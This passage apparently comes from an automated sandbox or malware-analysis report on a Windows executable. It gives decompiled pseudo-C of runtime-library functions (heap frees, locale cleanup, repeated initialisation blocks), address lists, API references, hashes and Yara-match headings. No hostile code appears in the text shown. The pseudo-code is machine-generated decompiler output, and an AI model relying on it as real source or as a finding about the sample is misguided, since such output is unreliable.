													goto L19;
												}
											}
										}
									} else {
										_t112 = 0;
										goto L12;
									}
								} else {
									__eflags =  *0x4ee6cc - _t112; // 0x0
									if(__eflags == 0) {
										goto L14;
									} else {
										_t108 = L004B12D1(0);
										__eflags = _t108;
										if(_t108 != 0) {
											L19:
											_t152 =  *0x4ee6c8; // 0x1095498
											L20:
											__eflags = _t152;
											if(_t152 == 0) {
												L11:
												_t112 = _t111 | 0xffffffff;
												__eflags = _t112;
												L12:
												E004B2FCF(_t144);
												_t61 = _t112;
												goto L13;
											} else {
												goto L21;
											}
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E004A966E();
					 *_t109 = 0x16;
					_t61 = _t109 | 0xffffffff;
					L13:
					return _t61;
				}
				L70:
			}

0x004bc50e
0x004bc513
0x004bc52a
0x004bc52c
0x004bc531
0x004bc535
0x004bc536
0x004bc538
0x004bc588
0x004bc58d
0x00000000
0x004bc53a
0x004bc53a
0x004bc53c
0x00000000
0x004bc53e
0x004bc53e
0x004bc542
0x004bc548
0x004bc54b
0x004bc54e
0x004bc554
0x004bc557
0x004bc55c
0x004bc55e
0x004bc561
0x004bc562
0x004bc562
0x004bc568
0x004bc56a
0x004bc56c
0x004bc600
0x004bc603
0x004bc605
0x004bc607
0x004bc608
0x004bc609
0x004bc60e
0x004bc613
0x004bc615
0x004bc65f
0x004bc65f
0x004bc662
0x00000000
0x004bc668
0x004bc668
0x004bc66a
0x004bc66d
0x004bc66d
0x004bc670
0x004bc672
0x00000000
0x004bc678
0x004bc678
0x004bc67e
0x00000000
0x004bc684
0x004bc684
0x004bc686
0x004bc68e
0x004bc690
0x004bc695
0x004bc698
0x004bc69a
0x00000000
0x004bc6a0
0x004bc6a0
0x004bc6a3
0x004bc6a5
0x004bc6a8
0x004bc6ab
0x00000000
0x004bc6ab
0x004bc69a
0x004bc67e
0x004bc672
0x004bc617
0x004bc617
0x004bc619
0x00000000
0x004bc61b
0x004bc61e
0x004bc624
0x004bc627
0x004bc62a
0x004bc63e
0x004bc63e
0x004bc641
0x00000000
0x00000000
0x004bc636
0x004bc63a
0x004bc63d
0x004bc63d
0x004bc63d
0x004bc643
0x004bc645
0x004bc64d
0x004bc64f
0x004bc654
0x004bc657
0x004bc659
0x004bc65b
0x004bc6af
0x004bc6af
0x004bc6af
0x004bc62c
0x004bc62c
0x004bc62f
0x004bc631
0x004bc631
0x004bc6b5
0x004bc6b8
0x00000000
0x004bc6be
0x004bc6be
0x004bc6c0
0x004bc6c3
0x004bc6c3
0x004bc6c5
0x004bc6c6
0x004bc6c6
0x004bc6d2
0x004bc6da
0x004bc6dd
0x004bc6de
0x004bc6e0
0x004bc729
0x004bc72a
0x00000000
0x004bc6e2
0x004bc6e9
0x004bc6ee
0x004bc6f1
0x004bc6f3
0x004bc735
0x004bc736
0x004bc737
0x004bc738
0x004bc739
0x004bc73a
0x004bc73f
0x004bc743
0x004bc746
0x004bc747
0x004bc74a
0x004bc74c
0x004bc755
0x004bc757
0x004bc759
0x004bc75b
0x004bc75d
0x004bc75d
0x004bc760
0x004bc761
0x004bc761
0x004bc75d
0x004bc766
0x004bc767
0x004bc772
0x004bc776
0x004bc778
0x004bc7df
0x004bc7df
0x00000000
0x004bc77a
0x004bc77a
0x004bc77d
0x004bc7cf
0x004bc7d1
0x004bc7d7
0x00000000
0x004bc77f
0x004bc77f
0x004bc782
0x004bc782
0x004bc784
0x004bc784
0x004bc786
0x004bc786
0x004bc789
0x004bc789
0x004bc78b
0x004bc78c
0x004bc78c
0x004bc794
0x004bc798
0x004bc7a2
0x004bc7a5
0x004bc7aa
0x004bc7ad
0x004bc7b1
0x00000000
0x004bc7b3
0x004bc7bb
0x004bc7c0
0x004bc7c3
0x004bc7c5
0x004bc7e4
0x004bc7e6
0x004bc7e7
0x004bc7e8
0x004bc7e9
0x004bc7ea
0x004bc7eb
0x004bc7f0
0x004bc7f3
0x004bc7f6
0x004bc7f7
0x004bc7f8
0x004bc7f9
0x004bc7ff
0x004bc801
0x004bc804
0x004bc830
0x004bc830
0x004bc830
0x004bc835
0x004bc806
0x004bc806
0x004bc809
0x004bc80f
0x004bc814
0x004bc817
0x004bc819
0x00000000
0x004bc81b
0x004bc81d
0x004bc820
0x004bc822
0x004bc83e
0x004bc840
0x004bc824
0x004bc824
0x004bc826
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc826
0x004bc822
0x00000000
0x004bc828
0x004bc828
0x004bc82b
0x004bc82b
0x00000000
0x004bc809
0x004bc837
0x004bc83d
0x00000000
0x00000000
0x00000000
0x004bc7c5
0x00000000
0x004bc7c7
0x004bc7c7
0x004bc7ca
0x004bc7ca
0x00000000
0x004bc7ce
0x004bc77d
0x004bc74e
0x004bc74e
0x004bc7da
0x004bc7de
0x004bc7de
0x004bc6f5
0x004bc6fe
0x004bc706
0x004bc70a
0x004bc711
0x004bc717
0x004bc719
0x004bc71b
0x004bc720
0x004bc720
0x004bc723
0x004bc723
0x00000000
0x004bc719
0x004bc6f3
0x004bc6e0
0x004bc6b8
0x004bc619
0x004bc572
0x004bc572
0x004bc575
0x004bc5a6
0x004bc5a6
0x004bc5a8
0x004bc5b8
0x004bc5bd
0x004bc5c2
0x004bc5c8
0x004bc5cb
0x004bc5cd
0x00000000
0x004bc5cf
0x004bc5cf
0x004bc5d5
0x00000000
0x004bc5d7
0x004bc5e1
0x004bc5e6
0x004bc5eb
0x004bc5ee
0x004bc5f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc5f4
0x004bc5d5
0x004bc5aa
0x004bc5aa
0x00000000
0x004bc5aa
0x004bc577
0x004bc577
0x004bc57d
0x00000000
0x004bc57f
0x004bc57f
0x004bc584
0x004bc586
0x004bc5f6
0x004bc5f6
0x004bc5fc
0x004bc5fc
0x004bc5fe
0x004bc593
0x004bc593
0x004bc593
0x004bc596
0x004bc597
0x004bc59e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004bc586
0x004bc57d
0x004bc575
0x004bc56c
0x004bc53c
0x004bc515
0x004bc515
0x004bc51a
0x004bc520
0x004bc5a1
0x004bc5a5
0x004bc5a5
0x00000000

APIs

___from_strstr_to_strchr.LIBCMT ref: 004BC52C
_free.LIBCMT ref: 004BC597
_free.LIBCMT ref: 004BC5BD
_free.LIBCMT ref: 004BC5E6
_free.LIBCMT ref: 004BC61E
_free.LIBCMT ref: 004BC64F
_free.LIBCMT ref: 004BC690
_free.LIBCMT ref: 004BC72A

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 9a0761fde9f03fae805ee7746c9f6f7a76f1b335c1ab5561470eed756c41ce26
Instruction ID: fc82f5a7fd1d7989b0451a0589fba1854a25a80a3e7f81647df149d4884ec29b
Opcode Fuzzy Hash: 9a0761fde9f03fae805ee7746c9f6f7a76f1b335c1ab5561470eed756c41ce26
Instruction Fuzzy Hash: 40614971904311AFDB34AF7688C1AEB7BA4AF15314F4401AFF9009B342DA79A9018BBD

Uniqueness

Uniqueness Score: -1.00%

Function 004BD7D6, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004BD7D6(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E004BD51D(_t45, 7);
					E004BD51D(_t45 + 0x1c, 7);
					E004BD51D(_t45 + 0x38, 0xc);
					E004BD51D(_t45 + 0x68, 0xc);
					E004BD51D(_t45 + 0x98, 2);
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa0)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa4)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0xa8)));
					E004BD51D(_t45 + 0xb4, 7);
					E004BD51D(_t45 + 0xd0, 7);
					E004BD51D(_t45 + 0xec, 0xc);
					E004BD51D(_t45 + 0x11c, 0xc);
					E004BD51D(_t45 + 0x14c, 2);
					E004B2FCF( *((intOrPtr*)(_t45 + 0x154)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0x158)));
					E004B2FCF( *((intOrPtr*)(_t45 + 0x15c)));
					return E004B2FCF( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x004bd7dc
0x004bd7e1
0x004bd7ea
0x004bd7f5
0x004bd800
0x004bd80b
0x004bd819
0x004bd824
0x004bd82f
0x004bd83a
0x004bd848
0x004bd856
0x004bd867
0x004bd875
0x004bd883
0x004bd88e
0x004bd899
0x004bd8a4
0x00000000
0x004bd8b4
0x004bd8b9

APIs

Part of subcall function 004BD51D: _free.LIBCMT ref: 004BD546

_free.LIBCMT ref: 004BD824

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BD82F
_free.LIBCMT ref: 004BD83A
_free.LIBCMT ref: 004BD88E
_free.LIBCMT ref: 004BD899
_free.LIBCMT ref: 004BD8A4
_free.LIBCMT ref: 004BD8AF

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: be821af3cec7c42125fadd012f3e195aede0362c300babedc8f069374784c5e4
Instruction ID: 1de44639f9dc7f38dc944381fc3a262a6698af6d5ab753183e87371803ba3bea
Opcode Fuzzy Hash: be821af3cec7c42125fadd012f3e195aede0362c300babedc8f069374784c5e4
Instruction Fuzzy Hash: 6C1181B1940B04BAD531B7B2CC07FDBB7AC5F0870CF80085FB29D66152EA6DB5149A74

Uniqueness

Uniqueness Score: -1.00%

Function 0048C268, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C268(void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				signed int _t297;
				void* _t555;
				short* _t799;
				void* _t872;
				signed int _t875;
				signed int _t876;
				signed int _t877;
				signed int _t878;
				signed int _t879;
				signed int _t880;
				signed int _t881;
				signed int _t882;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t890;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t895;
				signed int _t896;
				signed int _t897;
				signed int _t899;
				signed int _t900;
				signed int _t901;
				signed int _t902;
				signed int _t903;
				signed int _t904;
				signed int _t905;
				signed int _t906;
				signed int _t907;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t914;
				signed int _t915;
				signed int _t916;
				signed int _t917;
				signed int _t918;
				signed int _t919;
				signed int _t920;
				signed int _t921;
				signed int _t922;
				short* _t923;
				void* _t953;

				_t953 = __eflags;
				_push(8);
				L0049D90B(0x4d6966, __edi, __esi);
				L00488DEA( &_v20, 0);
				_t899 =  *0x4ede2c; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t899;
				_t297 = E0042B315(_a8, E0042B22E(0x4ed918, __edi, _t899, _t953));
				_t874 = _t297;
				if(_t297 != 0) {
					L5:
					L00488E42( &_v20);
					return L0049D8D4(_t874);
				} else {
					if(_t899 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = L0048DDCB(_t874, _t899, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							L0049D90B(0x4d6966, _t874, _t899);
							L00488DEA( &_v20, 0);
							_t900 =  *0x4ede0c; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t900;
							_t875 = E0042B315(_a8, E0042B22E(0x4eddb0, _t874, _t900, __eflags));
							__eflags = _t875;
							if(_t875 != 0) {
								L12:
								L00488E42( &_v20);
								return L0049D8D4(_t875);
							} else {
								__eflags = _t900;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = L0048DE31(_t872, _t875, _t900, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										L0049D90B(0x4d6966, _t875, _t900);
										L00488DEA( &_v20, 0);
										_t901 =  *0x4edddc; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t901;
										_t876 = E0042B315(_a8, E0042B22E(0x4edd88, _t875, _t901, __eflags));
										__eflags = _t876;
										if(_t876 != 0) {
											L19:
											L00488E42( &_v20);
											return L0049D8D4(_t876);
										} else {
											__eflags = _t901;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = L0048DED3(_t872, _t876, _t901, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													L0049D90B(0x4d6966, _t876, _t901);
													L00488DEA( &_v20, 0);
													_t902 =  *0x4eddfc; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t902;
													_t877 = E0042B315(_a8, E0042B22E(0x4ed910, _t876, _t902, __eflags));
													__eflags = _t877;
													if(_t877 != 0) {
														L26:
														L00488E42( &_v20);
														return L0049D8D4(_t877);
													} else {
														__eflags = _t902;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = L0048DF75(_t877, _t902, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t877, _t902);
																L00488DEA( &_v20, 0);
																_t903 =  *0x4ede10; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t903;
																_t878 = E0042B315(_a8, E0042B22E(0x4eddb4, _t877, _t903, __eflags));
																__eflags = _t878;
																if(_t878 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t878);
																} else {
																	__eflags = _t903;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = L0048DFE5(_t878, _t903, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t878, _t903);
																			L00488DEA( &_v20, 0);
																			_t904 =  *0x4edde0; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t904;
																			_t879 = E0042B315(_a8, E0042B22E(0x4edd8c, _t878, _t904, __eflags));
																			__eflags = _t879;
																			if(_t879 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t879);
																			} else {
																				__eflags = _t904;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E04D(_t879, _t904, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t879, _t904);
																						L00488DEA( &_v20, 0);
																						_t905 =  *0x4ede14; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t905;
																						_t880 = E0042B315(_a8, E0042B22E(0x4eddb8, _t879, _t905, __eflags));
																						__eflags = _t880;
																						if(_t880 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t880);
																						} else {
																							__eflags = _t905;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E0B5(_t880, _t905, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t880, _t905);
																									L00488DEA( &_v20, 0);
																									_t906 =  *0x4edde4; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t906;
																									_t881 = E0042B315(_a8, E0042B22E(0x4edd90, _t880, _t906, __eflags));
																									__eflags = _t881;
																									if(_t881 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t881);
																									} else {
																										__eflags = _t906;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E11D(_t881, _t906, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t881, _t906);
																												L00488DEA( &_v20, 0);
																												_t907 =  *0x4ede18; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t907;
																												_t882 = E0042B315(_a8, E0042B22E(0x4eddbc, _t881, _t907, __eflags));
																												__eflags = _t882;
																												if(_t882 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t882);
																												} else {
																													__eflags = _t907;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E185(_t882, _t907, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															L0049D90B(0x4d6966, _t882, _t907);
																															L00488DEA( &_v20, 0);
																															_t908 =  *0x4edde8; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t908;
																															_t883 = E0042B315(_a8, E0042B22E(0x4edd94, _t882, _t908, __eflags));
																															__eflags = _t883;
																															if(_t883 != 0) {
																																L68:
																																L00488E42( &_v20);
																																return L0049D8D4(_t883);
																															} else {
																																__eflags = _t908;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E1ED(_t883, _t908, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		L0049D90B(0x4d6966, _t883, _t908);
																																		L00488DEA( &_v20, 0);
																																		_t909 =  *0x4ede20;
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t909;
																																		_t884 = E0042B315(_a8, E0042B22E(0x4eddc4, _t883, _t909, __eflags));
																																		__eflags = _t884;
																																		if(_t884 != 0) {
																																			L75:
																																			L00488E42( &_v20);
																																			return L0049D8D4(_t884);
																																		} else {
																																			__eflags = _t909;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E255(_t884, _t909, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					L0049D90B(0x4d6966, _t884, _t909);
																																					L00488DEA( &_v20, 0);
																																					_t910 =  *0x4ede1c;
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t910;
																																					_t885 = E0042B315(_a8, E0042B22E(0x4eddc0, _t884, _t910, __eflags));
																																					__eflags = _t885;
																																					if(_t885 != 0) {
																																						L82:
																																						L00488E42( &_v20);
																																						return L0049D8D4(_t885);
																																					} else {
																																						__eflags = _t910;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E2D9(_t885, _t910, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								L0049D90B(0x4d6966, _t885, _t910);
																																								L00488DEA( &_v20, 0);
																																								_t911 =  *0x4eddf0;
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t911;
																																								_t886 = E0042B315(_a8, E0042B22E(0x4edd9c, _t885, _t911, __eflags));
																																								__eflags = _t886;
																																								if(_t886 != 0) {
																																									L89:
																																									L00488E42( &_v20);
																																									return L0049D8D4(_t886);
																																								} else {
																																									__eflags = _t911;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E35E(_t886, _t911, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											L0049D90B(0x4d6966, _t886, _t911);
																																											L00488DEA( &_v20, 0);
																																											_t912 =  *0x4eddec;
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t912;
																																											_t887 = E0042B315(_a8, E0042B22E(0x4edd98, _t886, _t912, __eflags));
																																											__eflags = _t887;
																																											if(_t887 != 0) {
																																												L96:
																																												L00488E42( &_v20);
																																												return L0049D8D4(_t887);
																																											} else {
																																												__eflags = _t912;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E3E2(_t887, _t912, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														L0049D90B(0x4d6966, _t887, _t912);
																																														L00488DEA( &_v20, 0);
																																														_t913 =  *0x4ede00;
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t913;
																																														_t888 = E0042B315(_a8, E0042B22E(0x4edda4, _t887, _t913, __eflags));
																																														__eflags = _t888;
																																														if(_t888 != 0) {
																																															L103:
																																															L00488E42( &_v20);
																																															return L0049D8D4(_t888);
																																														} else {
																																															__eflags = _t913;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E467(_t888, _t913, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	L0049D90B(0x4d6966, _t888, _t913);
																																																	L00488DEA( &_v20, 0);
																																																	_t914 =  *0x4eddd0;
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t914;
																																																	_t889 = E0042B315(_a8, E0042B22E(0x4edd7c, _t888, _t914, __eflags));
																																																	__eflags = _t889;
																																																	if(_t889 != 0) {
																																																		L110:
																																																		L00488E42( &_v20);
																																																		return L0049D8D4(_t889);
																																																	} else {
																																																		__eflags = _t914;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E4CF(_t889, _t914, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				L0049D90B(0x4d6966, _t889, _t914);
																																																				L00488DEA( &_v20, 0);
																																																				_t915 =  *0x4ede04;
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t915;
																																																				_t890 = E0042B315(_a8, E0042B22E(0x4edda8, _t889, _t915, __eflags));
																																																				__eflags = _t890;
																																																				if(_t890 != 0) {
																																																					L117:
																																																					L00488E42( &_v20);
																																																					return L0049D8D4(_t890);
																																																				} else {
																																																					__eflags = _t915;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E537(_t890, _t915, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							L0049D90B(0x4d6966, _t890, _t915);
																																																							L00488DEA( &_v20, 0);
																																																							_t916 =  *0x4eddd4;
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t916;
																																																							_t891 = E0042B315(_a8, E0042B22E(0x4edd80, _t890, _t916, __eflags));
																																																							__eflags = _t891;
																																																							if(_t891 != 0) {
																																																								L124:
																																																								L00488E42( &_v20);
																																																								return L0049D8D4(_t891);
																																																							} else {
																																																								__eflags = _t916;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E59F(_t891, _t916, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										L0049D90B(0x4d6966, _t891, _t916);
																																																										L00488DEA( &_v20, 0);
																																																										_t917 =  *0x4ede08;
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t917;
																																																										_t892 = E0042B315(_a8, E0042B22E(0x4eddac, _t891, _t917, __eflags));
																																																										__eflags = _t892;
																																																										if(_t892 != 0) {
																																																											L131:
																																																											L00488E42( &_v20);
																																																											return L0049D8D4(_t892);
																																																										} else {
																																																											__eflags = _t917;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												__eflags = E0048E607(_t892, _t917, __eflags) - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(8);
																																																													L0049D90B(0x4d6966, _t892, _t917);
																																																													L00488DEA( &_v20, 0);
																																																													_t918 =  *0x4eddd8;
																																																													_v4 = _v4 & 0x00000000;
																																																													_v16 = _t918;
																																																													_t893 = E0042B315(_a8, E0042B22E(0x4edd84, _t892, _t918, __eflags));
																																																													__eflags = _t893;
																																																													if(_t893 != 0) {
																																																														L138:
																																																														L00488E42( &_v20);
																																																														return L0049D8D4(_t893);
																																																													} else {
																																																														__eflags = _t918;
																																																														if(__eflags == 0) {
																																																															_push(_a8);
																																																															_push( &_v16);
																																																															__eflags = E0048E682(_t893, _t918, __eflags) - 0xffffffff;
																																																															if(__eflags == 0) {
																																																																E0042B042(__eflags);
																																																																asm("int3");
																																																																_push(8);
																																																																L0049D90B(0x4d6966, _t893, _t918);
																																																																L00488DEA( &_v20, 0);
																																																																_t919 =  *0x4ede24;
																																																																_v4 = _v4 & 0x00000000;
																																																																_v16 = _t919;
																																																																_t894 = E0042B315(_a8, E0042B22E(0x4eddc8, _t893, _t919, __eflags));
																																																																__eflags = _t894;
																																																																if(_t894 != 0) {
																																																																	L145:
																																																																	L00488E42( &_v20);
																																																																	return L0049D8D4(_t894);
																																																																} else {
																																																																	__eflags = _t919;
																																																																	if(__eflags == 0) {
																																																																		_push(_a8);
																																																																		_push( &_v16);
																																																																		__eflags = E0048E6FD(_t894, _t919, __eflags) - 0xffffffff;
																																																																		if(__eflags == 0) {
																																																																			E0042B042(__eflags);
																																																																			asm("int3");
																																																																			_push(8);
																																																																			L0049D90B(0x4d6966, _t894, _t919);
																																																																			L00488DEA( &_v20, 0);
																																																																			_t920 =  *0x4eddf4;
																																																																			_v4 = _v4 & 0x00000000;
																																																																			_v16 = _t920;
																																																																			_t895 = E0042B315(_a8, E0042B22E(0x4edda0, _t894, _t920, __eflags));
																																																																			__eflags = _t895;
																																																																			if(_t895 != 0) {
																																																																				L152:
																																																																				L00488E42( &_v20);
																																																																				return L0049D8D4(_t895);
																																																																			} else {
																																																																				__eflags = _t920;
																																																																				if(__eflags == 0) {
																																																																					_push(_a8);
																																																																					_push( &_v16);
																																																																					__eflags = E0048E769(_t895, _t920, __eflags) - 0xffffffff;
																																																																					if(__eflags == 0) {
																																																																						E0042B042(__eflags);
																																																																						asm("int3");
																																																																						_push(8);
																																																																						L0049D90B(0x4d6966, _t895, _t920);
																																																																						L00488DEA( &_v20, 0);
																																																																						_t921 =  *0x4ede28;
																																																																						_v4 = _v4 & 0x00000000;
																																																																						_v16 = _t921;
																																																																						_t896 = E0042B315(_a8, E0042B22E(0x4eddcc, _t895, _t921, __eflags));
																																																																						__eflags = _t896;
																																																																						if(_t896 != 0) {
																																																																							L159:
																																																																							L00488E42( &_v20);
																																																																							return L0049D8D4(_t896);
																																																																						} else {
																																																																							__eflags = _t921;
																																																																							if(__eflags == 0) {
																																																																								_push(_a8);
																																																																								_push( &_v16);
																																																																								__eflags = E0048E7D5(_t896, _t921, __eflags) - 0xffffffff;
																																																																								if(__eflags == 0) {
																																																																									E0042B042(__eflags);
																																																																									asm("int3");
																																																																									_push(8);
																																																																									L0049D90B(0x4d6966, _t896, _t921);
																																																																									L00488DEA( &_v20, 0);
																																																																									_t922 =  *0x4eddf8;
																																																																									_v4 = _v4 & 0x00000000;
																																																																									_v16 = _t922;
																																																																									_t897 = E0042B315(_a8, E0042B22E(0x4edd78, _t896, _t922, __eflags));
																																																																									__eflags = _t897;
																																																																									if(_t897 != 0) {
																																																																										L166:
																																																																										L00488E42( &_v20);
																																																																										return L0049D8D4(_t897);
																																																																									} else {
																																																																										__eflags = _t922;
																																																																										if(__eflags == 0) {
																																																																											_push(_a8);
																																																																											_push( &_v16);
																																																																											_t555 = E0048E849(_t897, _t922, __eflags);
																																																																											_pop(_t799);
																																																																											__eflags = _t555 - 0xffffffff;
																																																																											if(__eflags == 0) {
																																																																												E0042B042(__eflags);
																																																																												asm("int3");
																																																																												_push(_t922);
																																																																												_t923 = _t799;
																																																																												_t290 = _t923 + 0x10;
																																																																												 *_t290 =  *(_t923 + 0x10) & 0x00000000;
																																																																												__eflags =  *_t290;
																																																																												 *((intOrPtr*)(_t923 + 0x14)) = 7;
																																																																												 *_t923 = 0;
																																																																												L00494BE0(_a4);
																																																																												return _t923;
																																																																											} else {
																																																																												_t897 = _v16;
																																																																												_v16 = _t897;
																																																																												_v4 = 1;
																																																																												E0048919D(_t897);
																																																																												 *0x4f02b4();
																																																																												 *((intOrPtr*)( *((intOrPtr*)( *_t897 + 4))))();
																																																																												 *0x4eddf8 = _t897;
																																																																												goto L166;
																																																																											}
																																																																										} else {
																																																																											_t897 = _t922;
																																																																											goto L166;
																																																																										}
																																																																									}
																																																																								} else {
																																																																									_t896 = _v16;
																																																																									_v16 = _t896;
																																																																									_v4 = 1;
																																																																									E0048919D(_t896);
																																																																									 *0x4f02b4();
																																																																									 *((intOrPtr*)( *((intOrPtr*)( *_t896 + 4))))();
																																																																									 *0x4ede28 = _t896;
																																																																									goto L159;
																																																																								}
																																																																							} else {
																																																																								_t896 = _t921;
																																																																								goto L159;
																																																																							}
																																																																						}
																																																																					} else {
																																																																						_t895 = _v16;
																																																																						_v16 = _t895;
																																																																						_v4 = 1;
																																																																						E0048919D(_t895);
																																																																						 *0x4f02b4();
																																																																						 *((intOrPtr*)( *((intOrPtr*)( *_t895 + 4))))();
																																																																						 *0x4eddf4 = _t895;
																																																																						goto L152;
																																																																					}
																																																																				} else {
																																																																					_t895 = _t920;
																																																																					goto L152;
